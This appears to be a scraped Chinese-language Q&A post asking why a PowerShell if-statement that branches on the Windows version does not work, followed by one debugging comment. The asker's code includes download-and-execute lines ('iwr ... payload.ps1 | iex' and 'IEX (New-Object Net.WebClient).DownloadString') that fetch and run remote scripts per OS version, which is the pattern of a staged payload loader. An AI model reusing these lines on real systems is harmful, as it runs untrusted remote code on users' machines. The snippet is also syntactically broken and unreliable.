【发布时间】:2019-09-09 11:50:00
【问题描述】:
(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
获取 Wmi 对象 Win32 操作系统默认网络凭据
$host = ((Get-WmiObject Win32_OperatingSystem).Caption)
if ($host -eq 'Microsoft Windows 7'){
Write-Host "[+] Downloading windows 7 script"
$URL = http://example.com
IEX (New-Object Net.WebClient).DownloadString('$URL')}
elseif ($host -eq 'Microsoft Windows 8'){
Write-Host "[+] Downloading windows 8 script"
等等……
【问题讨论】:
-
要调试问题,请提供
$host和$host -eq 'Microsoft Windows 7'的输出。您的示例代码中也没有 else 语句。
标签: powershell if-statement version statements elixir-iex